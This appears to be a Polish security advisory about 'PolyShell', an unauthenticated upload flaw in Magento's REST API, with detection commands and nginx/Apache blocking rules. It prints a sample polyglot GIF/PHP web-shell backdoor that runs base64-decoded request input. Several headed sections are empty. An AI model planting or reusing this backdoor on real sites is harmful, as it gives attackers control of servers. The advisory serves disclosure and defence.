PolyShell — Krytyczna Luka w Magento Zagraża Tysiącom Sklepów

Czym jest PolyShell

PolyShell to krytyczna podatność w REST API Magento, odkryta przez zespół Sansec Forensics w marcu 2026 roku. Pozwala atakującym na upload plików wykonywalnych do dowolnego sklepu Magento Open Source lub Adobe Commerce — bez konieczności logowania.

Nazwa „PolyShell” pochodzi od techniki użytej w ataku — plików poliglot (polyglot files). Są to pliki, które są jednocześnie poprawne w dwóch formatach: wyglądają jak zwykły obraz (np. GIF czy JPEG), ale zawierają osadzony kod PHP. Serwer traktuje je jako obraz podczas walidacji, ale jako wykonywalny skrypt przy próbie bezpośredniego dostępu.

Przykładowa struktura takiego pliku:

GIF89a;<?php echo 409723*20;
if(md5($_COOKIE["d"])=="a17028..."){
    eval(base64_decode($_REQUEST["id"]));
}
?>

Nagłówek GIF89a sprawia, że plik przechodzi walidację jako obraz GIF. Jednocześnie zawiera pełnoprawny payload PHP — backdoor, który po aktywacji daje atakującemu pełną kontrolę nad serwerem.

Jak działa atak krok po kroku

Atak wykorzystuje trzy brakujące zabezpieczenia w mechanizmie custom options koszyka Magento. Cały proces przebiega przez nieuwierzytelnione endpointy REST API:

Cały atak opiera się na trzech brakujących kontrolach bezpieczeństwa w Magento:

Dlaczego jest tak niebezpieczny

PolyShell łączy w sobie kilka cech, które sprawiają, że jest jedną z najgroźniejszych podatności w historii Magento:

Skala ataku w liczbach

Dane zebrane przez Sansec pokazują błyskawiczną eskalację ataków od momentu odkrycia podatności:

Oś czasu ataków PolyShell:

Jak sprawdzić czy Twój sklep jest zagrożony

Każdy sklep na Magento 2 jest potencjalnie podatny. Poniższe kroki pozwolą zweryfikować, czy Twoja instalacja została już zaatakowana:

Komendy do szybkiej weryfikacji serwera:

# Szukaj plików PHP w katalogu uploadu
find pub/media/custom_options/ -name "*.php" -o -name "*.phtml" -o -name "*.phar"

# Szukaj backdoora accesson.php
find . -name "accesson.php" -type f

# Sprawdź połączenia do znanej domeny C2
grep -r "lanhd6549tdhse" var/log/

Jak się zabezpieczyć

Dopóki nie pojawi się oficjalny patch dla wersji produkcyjnych, konieczne jest zabezpieczenie sklepu na poziomie infrastruktury:

Nginx — użyj ^~ (prefix match), aby reguła nie mogła zostać nadpisana przez regex handler PHP (~ \.php$). To kluczowe — zwykły regex ~* może przegrać z regułą FastCGI, co jest głównym wektorem RCE w PolyShell:

# Jeśli root wskazuje na katalog instalacji Magento:
location ^~ /pub/media/custom_options/ {
    deny all;
    return 403;
}

# Jeśli root wskazuje na pub/ (częsta konfiguracja):
location ^~ /media/custom_options/ {
    deny all;
    return 403;
}

Apache — sprawdź, czy plik pub/media/custom_options/.htaccess istnieje i blokuje cały dostęp HTTP. Obsłuż obie wersje Apache (2.2 i 2.4):

# pub/media/custom_options/.htaccess
<IfVersion < 2.4>
    order deny,allow
    deny from all
</IfVersion>
<IfVersion >= 2.4>
    Require all denied
</IfVersion>

Upewnij się również, że w konfiguracji vhosta ustawione jest AllowOverride All dla document root — bez tego Apache zignoruje pliki .htaccess.

Co to oznacza dla właścicieli sklepów Magento

PolyShell to nie tylko problem techniczny — to sygnał, który powinien skłonić właścicieli sklepów Magento do przemyślenia swojej strategii platformowej:

Podsumowanie

PolyShell to jedna z najpoważniejszych podatności w historii Magento — łączy brak autoryzacji, trywialność exploitacji i brak oficjalnego patcha. Kluczowe wnioski:

• PolyShell dotyczy WSZYSTKICH wersji Magento 2 — od pierwszego wydania do 2.4.9-alpha2
• Atak nie wymaga autoryzacji i jest trywialny do przeprowadzenia przez publiczne endpointy REST API
• Brak standalone patcha — jedyna oficjalna poprawka to upgrade do pre-release 2.4.9-alpha3+
• Zablokowanie dostępu do pub/media/custom_options/ regułą ^~ (nginx) to krytyczny krok doraźny, który należy wdrożyć natychmiast
• Regularny monitoring i audyty bezpieczeństwa to nie opcja, a konieczność dla każdego sklepu Magento

Jeśli prowadzisz sklep na Magento i nie wiesz, czy jesteś zabezpieczony przed PolyShell — umów darmową konsultację. Sprawdzimy Twój sklep i zaproponujemy konkretne kroki ochrony.